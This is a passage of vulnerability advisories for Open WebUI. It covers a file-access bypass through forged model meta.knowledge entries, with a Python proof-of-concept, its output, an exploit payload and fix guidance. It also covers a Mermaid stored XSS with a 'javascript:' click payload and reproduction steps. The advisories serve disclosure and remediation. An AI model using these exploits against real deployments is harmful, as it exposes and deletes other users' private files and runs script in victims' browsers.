if mediatype not in PROFILEIMAGEALLOWEDMIMETYPES: return FileResponse(f'{STATICDIR}/favicon.png')
return StreamingResponse( imagebuffer, mediatype=mediatype, headers={ 'Content-Disposition': 'inline', 'X-Content-Type-Options': 'nosniff', }, )
Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.
Summary
Open WebUI lets a user who can create, update, or import workspace models store arbitrary meta.knowledge entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats meta.knowledge entries of type file as an authorization source in two places: the built-in viewfile tool reads the file's extracted text, and hasaccesstofile()'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file.
Impact
Security boundary crossed: file confidentiality and integrity.
An authenticated attacker needs the workspace.models or workspace.modelsimport permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:
- read the file's extracted text (up to 100000 characters per viewfile call from file.data.content), - read the file's content via GET /api/v1/files/{id}/content, and - delete the file via DELETE /api/v1/files/{id}.
Root Cause
ModelMeta allows extra metadata fields and ModelForm accepts that metadata without a validator for meta.knowledge file access:
python backend/openwebui/models/models.py class ModelForm(BaseModel): modelconfig = ConfigDict(extra='ignore')
id: str basemodelid: Optional[str] = None name: str meta: ModelMeta params: ModelParams
Model creation only checks the caller's model-workspace permission and then stores the form data:
python backend/openwebui/routers/models.py if user.role != 'admin' and not await haspermission( user.id, 'workspace.models', request.app.state.config.USERPERMISSIONS, db=db ): raise HTTPException(...)
model = await Models.insertnewmodel(formdata, user.id, db=db)
The insert sink persists the supplied meta:
python backend/openwebui/models/models.py result = Model( { formdata.modeldump(exclude={'accessgrants'}), 'userid': userid, ... } )
When built-in tools are assembled, meta.knowledge is passed through as modelknowledge, and any file entry enables viewfile:
python backend/openwebui/utils/tools.py modelknowledge = model.get('info', {}).get('meta', {}).get('knowledge', []) ... knowledgetypes = {item.get('type') for item in modelknowledge} if 'file' in knowledgetypes or 'collection' in knowledgetypes: builtinfunctions.append(viewfile)
viewfile treats matching modelknowledge file IDs as authorization, before hasaccesstofile():
python backend/openwebui/tools/builtin.py if ( file.userid != userid and userrole != 'admin' and not any( item.get('type') == 'file' and item.get('id') == fileid for item in (modelknowledge or []) ) and not await hasaccesstofile(...) ): return json.dumps({'error': 'File not found'})
The same forged meta.knowledge is also trusted outside the tool path. hasaccesstofile() iterates the caller's accessible models and returns true when a model's meta.knowledge contains the requested file ID:
python backend/openwebui/utils/accesscontrol/files.py for model in await Models.getmodelsbyuserid(user.id, permission=accesstype, db=db): knowledgeitems = getattr(model.meta, 'knowledge', None) or [] for item in knowledgeitems: if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id: return True
This branch is not restricted to read, so it also satisfies the write check that DELETE /api/v1/files/{id} performs. The same missing validation applies to the import path (POST /api/v1/models/import) and the update path, not only create.
PoC
python #!/usr/bin/env python3 """ Verifier for forged model meta.knowledge file entries reaching builtin tools.
The proof executes: - the real Models.insertnewmodel() sink with a forged meta.knowledge entry - the real builtin viewfile() authorization branch
Fake DB/model adapters are used only to avoid requiring a live Open WebUI server. The security-sensitive code under test is Open WebUI application code. """
from future import annotations
import asyncio import ast import json import os import sys import types from pathlib import Path from types import SimpleNamespace
REPO = Path(file).resolve().parents[1] BUILTINTOOLS = REPO / "backend/openwebui/tools/builtin.py"
def prepareimports() -> None: sys.path.insert(0, str(REPO / "backend")) os.environ["VECTORDB"] = "none"
class DummyTyper: def command(self, args, kwargs): return lambda fn: fn
sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda args, kwargs: DummyTyper(), Option=lambda args, kwargs: None, echo=lambda args, kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda args, kwargs: None))
class FakeDb: def init(self): self.added = [] self.committed = False self.refreshed = False
def add(self, row): self.added.append(row)
async def commit(self): self.committed = True
async def refresh(self, row): self.refreshed = True
class FakeDbContext: def init(self, db): self.db = db
async def aenter(self): return self.db
async def aexit(self, exctype, exc, tb): return False
async def verifymodelinsertacceptsvictimfile(victimfileid: str): import openwebui.models.models as modelsmodule
fakedb = FakeDb() originalcontext = modelsmodule.getasyncdbcontext originalsetgrants = modelsmodule.AccessGrants.setaccessgrants originaltomodel = modelsmodule.Models.tomodelmodel
async def fakesetaccessgrants(args, kwargs): return True
async def faketomodel(self, model, accessgrants=None, db=None): return SimpleNamespace( id=model.id, userid=model.userid, basemodelid=model.basemodelid, name=model.name, params=model.params, meta=model.meta, accessgrants=[], isactive=model.isactive, createdat=model.createdat, updatedat=model.updatedat, )
try: modelsmodule.getasyncdbcontext = lambda db=None: FakeDbContext(fakedb) modelsmodule.AccessGrants.setaccessgrants = fakesetaccessgrants modelsmodule.Models.tomodelmodel = types.MethodType(faketomodel, modelsmodule.Models)
inserted = await modelsmodule.Models.insertnewmodel( modelsmodule.ModelForm( id="attacker-model", basemodelid="gpt-vision-base", name="Attacker Model", params={}, meta={ "knowledge": [ { "id": victimfileid, "type": "file", "name": "victim-private.txt", } ], "builtinTools": {"knowledge": True}, }, ), userid="attacker", ) finally: modelsmodule.getasyncdbcontext = originalcontext modelsmodule.AccessGrants.setaccessgrants = originalsetgrants modelsmodule.Models.tomodelmodel = originaltomodel
storedmeta = [getattr(row, "meta", None) for row in fakedb.added] storedknowledgeids = [ item.get("id") for meta in storedmeta for item in ((meta or {}).get("knowledge") or []) ]
return { "insertreturnedmodel": bool(inserted), "dbcommitcalled": fakedb.committed, "storeduserids": [getattr(row, "userid", None) for row in fakedb.added], "storedmodelids": [getattr(row, "id", None) for row in fakedb.added], "storedknowledgefileids": storedknowledgeids, }
async def verifyviewfiletrustsmodelknowledge(victimfileid: str): class FakeFiles: lookedupids = []
async def getfilebyid(self, fileid, db=None): self.lookedupids.append(fileid) if fileid == victimfileid: return SimpleNamespace( id=victimfileid, userid="victim", filename="victim-private.txt", data={"content": "PRIVATEMODELKNOWLEDGESECRET"}, createdat=1, updatedat=2, ) return None
async def fakehasaccesstofile(fileid, accesstype, user, db=None): return False
class FakeUserModel: def init(self, kwargs): self.dict.update(kwargs)
fakefiles = FakeFiles() fakefilesmodule = types.SimpleNamespace(Files=fakefiles) fakefileaclmodule = types.SimpleNamespace(hasaccesstofile=fakehasaccesstofile)
originalfilesmodule = sys.modules.get("openwebui.models.files") originalaclmodule = sys.modules.get("openwebui.utils.accesscontrol.files")
try: sys.modules["openwebui.models.files"] = fakefilesmodule sys.modules["openwebui.utils.accesscontrol.files"] = fakefileaclmodule
source = BUILTINTOOLS.readtext(encoding="utf-8") tree = ast.parse(source, filename=str(BUILTINTOOLS)) selected = [ node for node in tree.body if isinstance(node, ast.AsyncFunctionDef) and node.name == "viewfile" ] if len(selected) != 1: raise RuntimeError("could not find viewfile") module = ast.Module(body=selected, typeignores=[]) ast.fixmissinglocations(module) ns = { "json": json, "Optional": import("typing").Optional, "Request": object, "UserModel": FakeUserModel, "log": SimpleNamespace(exception=lambda args, kwargs: None), "MAXVIEWFILECHARS": 100000, "DEFAULTVIEWFILEMAXCHARS": 10000, } exec(compile(module, str(BUILTINTOOLS), "exec"), ns) viewfile = ns["viewfile"]
deniedwithoutmodelknowledge = await viewfile( victimfileid, request=SimpleNamespace(), user={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"}, modelknowledge=[], ) allowedwithmodelknowledge = await viewfile( victimfileid, request=SimpleNamespace(), user={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"}, modelknowledge=[{"id": victimfileid, "type": "file"}], ) finally: if originalfilesmodule is not None: sys.modules["openwebui.models.files"] = originalfilesmodule else: sys.modules.pop("openwebui.models.files", None) if originalaclmodule is not None: sys.modules["openwebui.utils.accesscontrol.files"] = originalaclmodule else: sys.modules.pop("openwebui.utils.accesscontrol.files", None)
denied = json.loads(deniedwithoutmodelknowledge) allowed = json.loads(allowedwithmodelknowledge) return { "fileidslookedup": fakefiles.lookedupids, "withoutmodelknowledge": denied, "withforgedmodelknowledge": allowed, "privatecontentdisclosed": allowed.get("content") == "PRIVATEMODELKNOWLEDGESECRET", }
async def main() -> None: prepareimports() victimfileid = "victim-private-file"
insertsink = await verifymodelinsertacceptsvictimfile(victimfileid) toolread = await verifyviewfiletrustsmodelknowledge(victimfileid)
result = { "confirmed": ( insertsink["insertreturnedmodel"] is True and insertsink["storeduserids"] == ["attacker"] and insertsink["storedknowledgefileids"] == [victimfileid] and toolread["withoutmodelknowledge"].get("error") == "File not found" and toolread["privatecontentdisclosed"] is True ), "attackeruserid": "attacker", "victimuserid": "victim", "victimfileid": victimfileid, "attackerownsfile": False, "modelinsertsink": insertsink, "toolread": toolread, "source": { "insertsink": "backend/openwebui/models/models.py:Models.insertnewmodel", "toolinjection": "backend/openwebui/utils/tools.py:getbuiltintools passes model meta.knowledge as modelknowledge", "readsink": "backend/openwebui/tools/builtin.py:viewfile", }, } print(json.dumps(result, indent=2, sortkeys=True)) if not result["confirmed"]: raise SystemExit(1)
if name == "main": asyncio.run(main())
The PoC executes the real Models.insertnewmodel() sink and the real viewfile() authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in meta.knowledge, then confirms viewfile() denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.
Result:
json { "attackerownsfile": false, "attackeruserid": "attacker", "confirmed": true, "modelinsertsink": { "dbcommitcalled": true, "insertreturnedmodel": true, "storedknowledgefileids": [ "victim-private-file" ], "storedmodelids": [ "attacker-model" ], "storeduserids": [ "attacker" ] }, "toolread": { "privatecontentdisclosed": true, "withforgedmodelknowledge": { "content": "PRIVATEMODELKNOWLEDGESECRET", "filename": "victim-private.txt", "id": "victim-private-file" }, "withoutmodelknowledge": { "error": "File not found" } }, "victimfileid": "victim-private-file", "victimuserid": "victim" }
Exploit Sketch
1. Attacker has permission to create or update workspace models. 2. Attacker creates a model with:
json { "meta": { "knowledge": [ { "id": "VICTIMFILEID", "type": "file", "name": "victim-private.txt" } ], "builtinTools": { "knowledge": true } } }
3. Attacker chats with that model using native/built-in tools and invokes viewfile for VICTIMFILEID. 4. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.
Recommended Fix
Validate meta.knowledge on every model write path: create, update, and import. For entries with type == "file", require direct ownership, admin role, or hasaccesstofile(fileid, 'read', user, db=db) before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as 403, not 500.
Do not let viewfile() treat modelknowledge as an authorization bypass; it should still enforce ownership/admin/hasaccesstofile() per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.
Consolidation
Per our Report Handling policy this consolidates independent reports of the same model meta.knowledge file-ID laundering flaw:
- Read via forged meta.knowledge on model create, through the built-in viewfile tool: @0xEr3n (earliest filing). - Distinct paths demonstrated by @5yu4n: the import endpoint (POST /api/v1/models/import), and cross-user read and deletion through the file API (GET / DELETE /api/v1/files/{id}) via hasaccesstofile()'s model branch.
Fix validates meta.knowledge ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.
Summary
Open WebUI renders Mermaid blocks from Markdown files in the file preview panel and inserts the generated SVG into the DOM using innerHTML.
Because Mermaid is configured with securityLevel: 'loose', attacker-controlled Mermaid content can be rendered unsafely in this flow. A working payload was validated through the Markdown preview path, resulting in JavaScript execution in the victim’s browser under the application origin.
This is a confirmed stored XSS vulnerability reachable through normal product functionality.
Affected Version
- main - Reproduced on v0.8.12
Affected Code
Mermaid is initialized in permissive mode:
https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/src/lib/utils/index.ts#L1698 The file preview path renders Mermaid output and injects the returned SVG into the DOM:
https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/src/lib/components/chat/FileNav/FilePreview.svelte#L133
Impact
A successful exploit allows JavaScript execution in the victim’s browser under the Open WebUI origin when a malicious Markdown file is opened in the preview panel.
PoC
A malicious .md file containing the follwowing contents can be used to trigger the bug: mermaid flowchart LR A[click me] click A href "javascript:alert(document.domain)" "x" Steps to reproduce: 1- Create a new chat 2- Enable Code Interpreter and browse and upload the file with .md extension. <img width="331" height="258" alt="image" src="https://github.com/user-attachments/assets/bce2b754-56d1-4da1-90a9-22bcb93269f2" /> 3- Clicking on the file, and clicking click me should pop an alert <img width="1103" height="485" alt="image" src="https://github.com/user-attachments/assets/18754486-799b-434e-a2fc-dd7c09956a29" />
Remediation
Since mermaid has DOMPurify as a built-in, it is recommended to use the strict mode instead of loose.